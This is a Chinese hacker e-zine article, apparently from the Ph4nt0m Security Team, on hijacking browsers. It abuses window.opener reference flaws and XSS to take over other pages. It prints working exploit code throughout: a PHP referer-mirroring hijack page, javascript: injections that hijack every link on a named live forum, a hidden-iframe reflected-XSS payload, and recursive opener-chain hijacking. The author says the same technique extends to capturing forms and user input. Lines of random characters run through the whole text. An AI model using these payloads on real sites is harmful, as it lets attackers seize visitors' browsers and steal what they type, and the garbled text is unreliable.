==Ph4nt0m Security Team==# M2 u3 }0 d0 ]" f( g6 D
. c$ W1 q9 m4 b1 c
Issue 0x03, Phile #0x05 of 0x07
! z3 v: Y- t( |9 S* ?! C t ! G3 ]% Q" t. ` D9 m
G7 z- {8 p8 U
|=---------------------------------------------------------------------------=|
) c8 g& E/ g/ s K. u) i- H|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
) ^8 a& k# |' i2 Z: S: i5 o* o|=---------------------------------------------------------------------------=|. [7 ]% c6 j/ ^! F! ~
|=---------------------------------------------------------------------------=|
4 i6 v' l9 t1 j7 z4 @1 f5 A|=------------------------=[ By rayh4c ]=---------------------------=|3 q5 s0 P3 c- v% b3 Q( P
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
3 ]. P5 }/ ~0 ?/ X|=---------------------------------------------------------------------------=|
% U* ?# x: E R X( n1 A9 A" W! W$ J) Z2 j9 F; w- S4 x1 u! v
) L: z- ~' T: {+ z8 K[目录]) |7 u( W9 T3 p7 S- t- h
3 ?) |- d4 t& I
1. 前言
9 B( V/ Q& s0 I- R9 t2. 同源策略简叙9 R" e, I) l b% W/ o3 M
3. 理解window对象的同源策略" s- Q1 Z2 H$ S; }+ @ j
4. 窗口引用功能中的同源策略漏洞7 L$ q4 Q* O* v6 p
4.1 父窗口引用子窗口的同源策略问题6 w6 v6 x" h) z/ W* z V
4.2 子窗口引用父窗口的同源策略问题5 c4 I0 L; a3 r. d- D( b$ q
5. 利用窗口引用漏洞劫持浏览器% a+ F( l6 h' T, F& i3 n) H0 G* X
6. 利用XSS漏洞劫持浏览器) o& \$ z* ^ J" [3 p, O6 _# G
6.1 正向跨窗口劫持
4 A! `. H7 v8 a. i7 g; W$ d 6.2 反向跨窗口劫持
: w" s1 i% p: z9 }$ W% _ 6.3 极度危险的跨框架窗口引用劫持
5 u% M- f) @! d( J) u 6.4 极度危险的正反向跨窗口递归劫持) K4 }: H& P8 E
6.5 完全控制浏览器
4 D0 e6 Y7 ~, r6 g% F4 q& R7. 后记
. \: h9 g4 c: z& o5 ?* \8. 参考
: d' \3 Y- u1 l8 i4 z) M! g
x5 U0 k; t) m( Q) D* ~+ R0 Z% g, K
一、前言
0 `7 Y! f# }- T- B' e. Z
; S2 s* N, G3 y 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
9 q( e8 \ @' X$ b: W) d友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
) F* N) ~2 o# w& l2 t/ n8 |/ J- o9 p劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被/ i& b8 n* b t6 u
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。: b+ f- |& o* R
$ ?" h Z: k- F7 s2 k8 i
" z, v& r/ F8 O( E% t3 a6 T2 I
二、同源策略简叙
4 g L8 X% Z# W8 e0 i) w
, D- D0 H1 @6 t7 Z 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
. m0 S T& ^: ~0 A9 U+ W2 C: c5 n8 R从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都8 @$ w, T: \7 I. c6 l; \
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木6 N% Z; J3 S) f1 {6 p
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
; i) C( n4 l. ~2 l# U漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
$ P V7 h$ [1 A1 \3 d) [
: e" ]4 `/ P5 { I! U
, k7 r: d: A3 {# i$ X3 y三、理解window对象的同源策略
& r5 w* k, H9 b, d) X, k7 A9 r M1 ]' I8 R- E) m* ` A7 q9 f
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
+ i" {4 C% N: V象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:! G5 `1 R% T. r; A" |0 I5 q
: m+ _7 Y, }! x5 O9 H% U
--code-------------------------------------------------------------------------
3 E0 I% B6 b0 d% X! h) d; H6 T8 O<script language="javascript">: `% J. C5 l+ |. b& T
for(p in window) document.write(p+"<br>");
1 E; ~) D: N) i) |$ [2 M</script>
5 p% `, \$ r+ ?# [-------------------------------------------------------------------------------9 o( A' B& X' B ^
9 C* `7 ]7 R8 @5 R5 ~' ?
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
, r' t; h. m: i/ d a5 V1 Z法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候," J# c! A$ u! v; Z
这些属性和方法就必须遵循同源策略。1 ?( c# F' e/ U' y4 Y1 E
3 |! S2 S! @" V7 w, t# \( ^) O
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
- P; Y! }3 g3 s么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
+ P5 R/ T2 E+ s, L% x( z的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这- c( m2 w' e/ `3 q
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的* z/ G8 B* p$ j6 f. F
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location* k% N8 [2 S4 J1 B1 Z
属性并没有被拒绝访问。/ \' C1 v2 i! G1 j! F
& ?" [7 c& x5 E' A# H6 R
--demo.html--------------------------------------------------------------------) l" h! }4 ^6 V3 m
<script language="javascript">
: ] C8 g' B- ~function allPrpos(obj) { " |3 H, M2 b& R1 `/ Z- |: ?6 n
var props = "<table><tr><td>名称</td><td>值</td>";
' w- R4 V* r, M; i m. ~" W for(var p in obj){
1 C! ~ X6 q' {, U! t+ R' R" U if(typeof(obj[p])=="function"){
: P% r0 N% T; F) y/ M1 E$ i obj[p](); 3 f' B; s: A, [3 |
}else{ 8 B4 C8 H% O5 g; Z3 x( o
try 7 G, [. w: G$ o; `7 F- e7 W! r
{
! c3 S2 t0 F3 p, d props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; * |4 @! m7 h& v# I; @, L3 ^6 I# x( h
} 7 C5 r D& E& M) P
catch (ex) 5 I! ^* w$ H4 R
{
# }; ^" _5 U' D
& `/ ^5 W& Z. j* W1 G0 J props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
# z V- q: l- q' C } 6 T0 o% K! u- \- l2 h
# a7 C E- A: |+ w
} ' Q8 X e- M' a/ i [+ n6 j$ o
}
" a- t* B- C/ {/ F8 f # R% |% b, c1 ?# W2 ]1 c8 ^
document.write(props+"</table>"); 8 A# ~6 Q) j) s" t% G: E
}
4 N) w5 m j! P' }; N
( R+ _# P4 m# P; k ~& O5 l: J' e2 i+ zfunction createWin() {
1 Z- u/ ?5 ^ T+ R' G, { newWin = window.open ("http://www.google.com");
4 k. o5 @6 j; s4 S/ X% ~ setTimeout(function(){allPrpos(newWin)},2000); * b" M- [5 l1 D {) @1 O6 }9 C
}
8 i( p% F% `- T+ \5 W- d9 ]. H7 s9 K* q- A
</script>
2 N6 g4 {* _5 U! n0 x Z2 W, c
+ k0 q, O! }% J/ x: `) H<button onclick='createWin()'>创建一个非同源子窗口测试</button>
5 T+ Y6 j8 [) n7 I* j3 D-------------------------------------------------------------------------------3 `& s/ ]0 }+ |( Q
5 b \/ Q; p5 A, U3 [
: p) Q! n2 j) l! `4 a2 H
四、窗口引用功能中的同源策略漏洞
0 v& z* C$ Y$ b6 b
) p$ _& i: A; }, Q4.1 父窗口引用子窗口的同源策略问题
* x1 Y# {& \$ ]/ x* H0 ^. p! w( f( g* k/ i2 k* t
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
1 S' k8 d% S4 J7 z1 \4 I" Y但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
. Z: `# n- M% \( n浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进8 N0 U4 s! y5 |3 Q! u" d. W# c
行测试,会发现父窗口可以控制非同源子窗口location属性值。
- G* k3 L, s& Z6 d% L4 X; g1 e1 _
( E1 A3 C8 z/ g, m--vul1.html--------------------------------------------------------------------
' _# b! q0 c' d: ^+ u4 v. r<script language="javascript"> Z5 a, Q& u! a8 K5 C
function createWin() {
0 R- h6 w+ G& R7 c2 S6 H( v newWin = window.open ("http://www.google.com"); 6 v! X" f# N" s, n6 j) `2 i
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
0 B$ t/ k. I- G0 u* l0 ]/ z}
! L/ R/ `2 G, g; z% d' N) j</script>1 _, w, p$ x9 p `. V' S, X( [; b
+ N9 {4 w. e' q1 F! q3 Q
<button onclick='createWin()'>创建一个非同源子窗口测试</button>. H; E5 s! r& l! o3 k7 O
-------------------------------------------------------------------------------9 f2 C h9 D2 S* o
) X7 l, E* Z0 K
. V# H: `4 z! C2 ?) ~' A
4.2 子窗口引用父窗口的同源策略问题
7 V0 }& m% F# D+ P# a+ `. C, I! U* S1 H, C/ X& W! A
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
9 B0 m$ x5 g4 j: _& N用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
1 ]/ u C7 R' F1 Z# [可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定& F! Q9 l& F1 c% U' v; k
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
: S3 i& s! d4 l X- n# u
1 x, ~1 Q4 _+ `% M& b--code-------------------------------------------------------------------------2 _5 N% w& S; v' n% n
* T" a# a8 T7 ?( m0 A6 rjavascript:window.opener.location = "http://www.80sec.com";void(0);$ X, W$ k" W* X- o3 P
~. @* g5 o, C1 V/ f) \8 B" [' K
-------------------------------------------------------------------------------' A6 w; j2 T9 a" z
; m' a U, J9 [6 a8 M
5 H2 p- e; I1 S- V5 l9 }
五、利用窗口引用漏洞劫持浏览器
' U+ P" F- `8 I* m
: ~$ Y* O. X. {# F 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子" c5 |3 j, J% y# V- I
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那) k( N& r- E; F" A0 a1 |
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。( t7 a0 _7 Z4 I( c, ]
6 U# T4 c4 H" I. k; B 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
8 l: d% c& Q& o7 g# Q* D生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
M# M7 E# K; ]者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接$ I! E) }+ B ~$ L2 k$ U
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下$ w+ p m. n2 f# n$ C
会产生什么可怕的后果。6 s7 X9 ]; {. M
2 L" U: U) ~+ M* s3 N
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我6 H" W( e4 k) ?. ^0 x
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
. n/ z! p) W% f3 F1 O7 Z3 f/ G这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时; G4 G7 z" b6 \# `$ ~
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可; W4 j! a+ L7 L" a
以做更多的事情,所有的一切仅仅是因为点击了一个链接。0 o: U8 W# T* f; \# T+ O' W" ~5 l
3 `- o( m* m+ \, T--hjk_ref.php------------------------------------------------------------------
7 Y; i1 F7 x$ k/ G8 Y0 Q8 [<?php! c4 Y! H7 V8 S8 ?. R% V3 m
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
/ S; Y' r) R" A$Url_Mirror = $_SERVER["HTTP_REFERER"];' M/ ^3 C/ F; g9 k: h) j( E! K
} - ]& o( `) R6 c" t1 q) r( J
if(isset ($_GET['ref'])) {0 W5 r$ H' S$ z# i5 j
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';6 n5 A% w4 g3 G/ e
}
0 Z5 D6 `) P" B$ e5 g: a0 P4 ~?>, x" S! r0 w( I" V6 v
( W" T4 ?9 j+ a<script language="javascript"> y9 t* G, C b8 B4 Y* T
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); ! W% c0 H1 H, M
</script>
; @! v4 t8 _& u7 R- J& P-------------------------------------------------------------------------------
. m! @$ D+ p3 g! d7 d% `
1 ^1 _ h8 p; k4 g% M6 t 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。- l8 i/ G8 {. H1 G0 g& I
0 @. o. B( u; e- Z6 b r6 I$ Q, I
- e5 R9 ~9 J, N- H6 t
六、利用XSS漏洞劫持浏览器
! Y2 r1 w# D, v e4 Z4 _& [2 p9 w k$ C5 G0 ?, ?
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
- f& S$ L% f9 l+ a9 L! ^6 x持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
9 i& |+ {% x. x" o+ ?) ?7 g: bXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起 ?8 _( F: z" O! f! R' x, D' U
讨论跨站师的终极技巧:
/ k( S1 a5 @1 L3 a+ e7 f. k h; B# |" A
6 j# M' m* K0 e! d6.1 正向跨窗口劫持, |+ O: j1 F+ r4 w$ m! E
, P' Z0 K* i4 C' O, ~1 P8 c 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛) x0 b. I/ n; X n# j* H7 n0 ]
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链1 z2 m% W& g" z: {
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
- c5 |8 x' I' C& d: F框脚本。
* p0 n0 l4 R8 X- R2 e% @' m k5 v- A3 D6 f- F( D
--hijack_open.js---------------------------------------------------------------' Q' H) ^$ C0 F" }
2 n! B, T8 r9 C0 P9 W; r/ o" o
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
/ b2 u% Z# B/ f) e, d
9 B1 b/ w3 E4 p, q& b- b; s4 o9 g- H& U-------------------------------------------------------------------------------
* T" a/ Z, U( c5 Z9 u
5 l. F' j; V# v8 i$ m9 n8 d+ [
+ K& P V% L/ w7 e& p7 h, A& |6.2 反向跨窗口劫持! {8 j& c& v4 Y
% N' [9 S2 G; b; b
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
. h+ x+ a! B0 O2 N) g/ I码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话+ b# j- X* ~, q1 w3 `/ ^6 l6 C
框脚本。
. `8 Y5 G; S7 l4 @' ]* l, s: g1 D: Q4 c7 C9 y) n" u
--hijack_opener.js-------------------------------------------------------------
' r" ^% r2 _6 V: v+ F% B& p7 J* O: J
! p7 _1 h. J8 c _$ N& h/ F, ijavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
8 R. Y/ x7 p1 I; O/ Q a
% V0 s( v7 K. {% J. M1 ?4 E-------------------------------------------------------------------------------7 h; G5 y8 `, g, u0 W; K+ U
j3 U* N' I7 V+ n- I7 I" K$ S( Z: C; G# L* Q
6.3 极度危险的跨框架窗口引用劫持
1 u. L0 u R$ \. I+ l8 i3 ] u# B% ~' e ?8 ?$ G
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞" w9 U6 M, D/ \' j) n0 n% w
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
: U9 R5 i$ {! R6 T适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个, t- |6 I6 }1 A. x) O6 d" ~
非持久型的XSS,如下:. M3 m' A* r8 w# C& r/ P
/ Q5 P& M" x6 |; v
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
" {+ k- h- ]: ?0 }, L8 m
# i% }- T1 _+ V 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口$ d! V- ~5 M; A; F, ?3 u
注入脚本。
5 ?6 ]0 I5 Z/ U/ {2 J( m$ S! G Q* r8 q
--hijack_frame_opener.js-------------------------------------------------------
$ P/ L+ j" u* C( `) x# X<script>
, K4 B7 n% _9 K- kwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";* K5 M0 L; p1 M; F; n+ R. y
</script>' ~. s' L, T+ `* W, y+ T: p S
-------------------------------------------------------------------------------
+ z5 d* N' S0 T6 W/ w4 F
$ @! a- a! {) S* L" g+ `" w h- R% F3 E2 h; @7 Z! W
6.4 极度危险的正反向跨窗口递归劫持
( A* w0 \! O/ ]. j* s3 Q5 T& h) s9 ?
- u1 p$ Z3 ?* u" r9 s; } luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
) C3 q5 s- k3 ]* H# U# J4 F的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
& j% j' E. ^6 C$ Y异常处理规避之间跨域页面的访问异常,代码如下:8 e- T% [! q+ ~+ L$ C# }1 d! J0 C' J
9 f; e j! K7 Z A: p--code-------------------------------------------------------------------------3 ]& l+ E: v8 B( f
% o! Q6 Z0 f, c9 q" e) |javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);0 [! B1 k" x f# {. {8 t- K
9 G, J/ y% ]! v! Y9 V
-------------------------------------------------------------------------------0 ^- p2 o3 l8 R5 Z n
6 C1 a W+ u! r) j 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可( m! m' B( y( ^# P# ]! H
以劫持B域之前的A域页面,从而实现“隔空打击”。( f0 O* r$ }3 R
! A5 o: z& Y7 T, C5 M9 R: D1 b& `: w
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
- [3 W. s, O; E# ]' J5 d执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。+ c/ b. z0 ?4 g; h- @ P
6 q* u+ z6 V% J4 u4 {5 o
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。9 s: m* \( g* w
3 N3 I: J' q- J; M1 y6 ]
! h0 X( Z$ q2 A: B C% z+ k& `7 r6.5 完全控制浏览器& R9 E$ Y6 L5 y9 ~
9 P+ |& l! t3 z) ? _/ ~/ n1 V2 f 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
Q1 Y ^; R. |是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
4 |! g- ?& U8 O! ?漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失1 p2 [! I' _7 H+ E/ M M
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再* |. w5 f& G9 l4 `5 p0 E1 \* ^5 K
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站4 o+ u! p5 o; ]8 j5 y
师的终极目标 - 完全控制浏览器。
, T; }0 C" X% A% p7 O7 d) n* V8 |
/ D- P( v4 S7 P/ ?' `% G
0 C8 q# j/ O2 T" _: j8 x七、后记
, a; d$ \* b- u$ i& t5 y6 L. c5 | S2 T
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
- b& ]* \# \+ i/ l! p与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
4 A6 x2 s% j1 L过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。1 ~0 c( a; c! q. y6 M
# }# z0 G- q" C2 s
3 L3 j, W$ w8 s' A1 F2 N- Y+ v5 b
八、参考
/ i% s; `) o9 f5 w% B0 H5 l; i5 H
1. http://en.wikipedia.org/wiki/Same_origin_policy
h" }, t% a$ s9 w8 ~: v2. http://code.google.com/p/browser ... licy_for_DOM_access
( ~+ d, v& {2 o2 {+ _/ E4 ~3. http://www.w3.org/TR/Window/
. [$ I: k9 _, {# P: x4. http://www.80sec.com/release/browser-hijacking.txt
7 T% ?8 u7 y- b: I/ {5. http://www.80sec.com/all-browser-security-alert.html
. O) N0 O: v$ r' J6 h/ O6. http://www.80sec.com/ms08-058-attacks-google.html
0 e: ]* |# Z9 d
! ?/ E- V# x" e# U1 Y/ g9 |-EOF- |